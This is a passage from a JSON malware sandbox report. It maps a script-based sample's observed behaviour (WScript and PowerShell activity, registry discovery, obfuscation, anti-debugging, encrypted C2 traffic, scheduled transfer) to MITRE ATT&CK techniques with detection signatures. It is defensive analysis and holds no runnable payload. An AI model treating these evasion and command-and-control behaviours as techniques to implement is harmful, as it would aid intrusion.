window"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Monitors specific registry key for changes"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains ability to enumerate system services using Tasklist"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Checks internet connectivity using tracert/ping"},{"type":"informative","value":"Contains ability to check internet connectivity"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"},{"type":"informative","value":"Contains ability to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve TCP/IP network configuration"},{"type":"informative","value":"Contains ability to retrieve system network configuration"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve local system accounts"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Drops cabinet archive files"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Calls an API typically used to encrypt a block of data"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops executable files"},{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops script (vb/js) files"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Shows ability to use data encoding technique"},{"type":"informative","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"suspicious","value":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"RC2\"; Source: \"00000000-00001464-00000C95-52457524\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000612.00000000.79908.FFE20000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000612.00000001.81290.FFE20000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$27","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2792)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3372)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1464)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import asymmetric cryptographic keys into a CSP","description":"$28","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import cryptographic keys into a CSP","description":"$29","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"\"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"e012340000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"70f43b0000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"4084380000000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"70b6f90200000000\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"$2a","origin":"API Call","mitre_attack_id":"T1140","relevance":3,"id":"api-207","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to encrypt a block of data","description":"\"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"fa7751013a88d55c47ab2883546c1dfacd7ae9542b4a2fa11208a316d6dd2bc4\"}\n \"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"lw\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-206","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506\" has high entropy 7.99568798138569\n Dropped file \"%TEMP%\\Cab186.tmp\" has high entropy 7.99568798138569","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001268)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"1268\" - (UID: 00000000-00001268)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2792\" - (UID: 00000000-00002792)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3372\" - (UID: 00000000-00003372)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"1464\" - (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002792)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003372)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001268)\n \"PING.EXE\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003872)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002792)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002792)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00003372)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00001464)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\.net clr networking\" - (UID: 00000000-00001464)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00001268)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002792)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002792)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$30","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"file/memory contains long string with (Indicator: \"ExpandEnvironmentStrings\"; File: \"EGK.vbs.bin\")\n Found reference to API \"windir = shell.ExpandEnvironmentStrings(\"%windir%\\system32\\\")\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"EGK.vbs.bin\")\n Found reference to API \"' windir = shell.ExpandEnvironmentStrings(\"%windir%\\system32\\\")\" (Indicator: \"ExpandEnvironmentStrings\"; File: \"EGK.vbs.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"$31","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 2482-341-000000010000D618","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"64da29459d1600fcbb036afd"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used to retrieve network adapter 